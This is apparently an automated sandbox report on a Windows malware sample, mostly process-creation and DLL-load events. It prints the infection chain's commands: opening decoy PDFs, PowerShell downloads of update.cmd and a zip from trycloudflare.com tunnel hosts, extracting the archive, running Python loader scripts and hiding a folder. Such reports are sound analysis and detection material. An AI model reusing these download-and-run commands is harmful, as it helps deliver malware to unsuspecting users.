Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }" |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python" |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }" |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }" |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe hey.py |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe new.py |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe loader.py |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gonna-truly-conflict-deserve.trycloudflare.com/a.pdf |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }" |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python" |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1992,i,15984810372542594167,14426285752425884727,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: unknown unknown |
Jump to behavior |
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2008,i,13683390946796946304,14765207737704090902,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: cmdext.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: kernel.appcore.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: uxtheme.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: windows.storage.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: wldp.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: propsys.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: urlmon.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: iertutil.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: srvcli.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: netutils.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: windows.shell.servicehostbuilder.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: onecoreuapcommonproxystub.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: ieframe.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: netapi32.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: version.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: userenv.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: winhttp.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: wkscli.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: windows.staterepositoryps.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: edputil.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: secur32.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: sspicli.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: mlang.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: wininet.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: profapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: policymanager.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: msvcp110_win.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: wintypes.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: onecorecommonproxystub.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: pcacli.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: mpr.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: sfc_os.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: apisethost.appexecutionalias.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: daxexec.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: fltlib.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: container.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: appxdeploymentclient.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: iphlpapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: capauthz.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: msasn1.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: windows.staterepositorycore.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: ntmarta.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: ieframe.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: netapi32.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: version.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: userenv.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: winhttp.dll |
Jump to behavior |
| Source: C:\Windows\System32\cmd.exe |
Section loaded: wkscli.dll |
Jump to behavior |
| Source: C:\Windows\System32\timeout.exe |
Section loaded: version.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: atl.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: mscoree.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: kernel.appcore.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: version.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: vcruntime140_clr0400.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: ucrtbase_clr0400.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: ucrtbase_clr0400.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: cryptsp.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: rsaenh.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: cryptbase.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: amsi.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: userenv.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: profapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: windows.storage.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: wldp.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: msasn1.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: gpapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: msisip.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: wshext.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: appxsip.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: opcservices.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: secur32.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: sspicli.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: uxtheme.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: iphlpapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: dnsapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: dhcpcsvc6.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: dhcpcsvc.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: winnsi.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: rasapi32.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: rasman.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: rtutils.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: mswsock.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: winhttp.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: ondemandconnroutehelper.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: rasadhlp.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: kernel.appcore.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: qmgr.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: bitsperf.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: powrprof.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: xmllite.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: firewallapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: esent.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: umpdc.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: dnsapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: iphlpapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: fwbase.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: wldp.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: ntmarta.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: profapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: flightsettings.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: policymanager.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: msvcp110_win.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: netprofm.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: npmproxy.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: bitsigd.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: upnp.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: winhttp.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: ssdpapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: urlmon.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: iertutil.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: srvcli.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: netutils.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: appxdeploymentclient.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: cryptbase.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: wsmauto.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: miutils.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: wsmsvc.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: dsrole.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: pcwum.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: mi.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: userenv.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: gpapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: winhttp.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: wkscli.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: netutils.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: sspicli.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: ondemandconnroutehelper.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: msv1_0.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: ntlmshared.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: cryptdll.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: webio.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: mswsock.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: winnsi.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: fwpuclnt.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: rasadhlp.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: rmclient.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: usermgrcli.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: execmodelclient.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: propsys.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: coremessaging.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: twinapi.appcore.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: onecorecommonproxystub.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: execmodelproxy.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: resourcepolicyclient.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: vssapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: vsstrace.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: samcli.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: samlib.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: es.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: bitsproxy.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: ondemandconnroutehelper.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: dhcpcsvc6.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: dhcpcsvc.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: schannel.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: mskeyprotect.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: ntasn1.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: ncrypt.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: ncryptsslp.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: msasn1.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: cryptsp.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: rsaenh.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: dpapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\svchost.exe |
Section loaded: mpr.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: atl.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: mscoree.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: kernel.appcore.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: version.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: vcruntime140_clr0400.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: ucrtbase_clr0400.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: cryptsp.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: rsaenh.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: cryptbase.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: amsi.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: userenv.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: profapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: windows.storage.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: wldp.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: msasn1.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: msisip.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: wshext.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: appxsip.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: opcservices.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: gpapi.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: secur32.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: sspicli.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: uxtheme.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: urlmon.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: iertutil.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: srvcli.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: netutils.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: propsys.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: wininet.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: kdscli.dll |
Jump to behavior |
| Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Section loaded: ntasn1.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: msvcp140.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: vcruntime140.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: kernel.appcore.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: windows.storage.applicationdata.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: twinapi.appcore.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: wintypes.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: windows.storage.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: wldp.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: propsys.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: uxtheme.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: msvcp140.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: vcruntime140.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: vcruntime140.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: kernel.appcore.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: windows.storage.applicationdata.dll |
Jump to behavior |
| Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe |
Section loaded: twinapi.appcore.dll |
Jump to behavior |
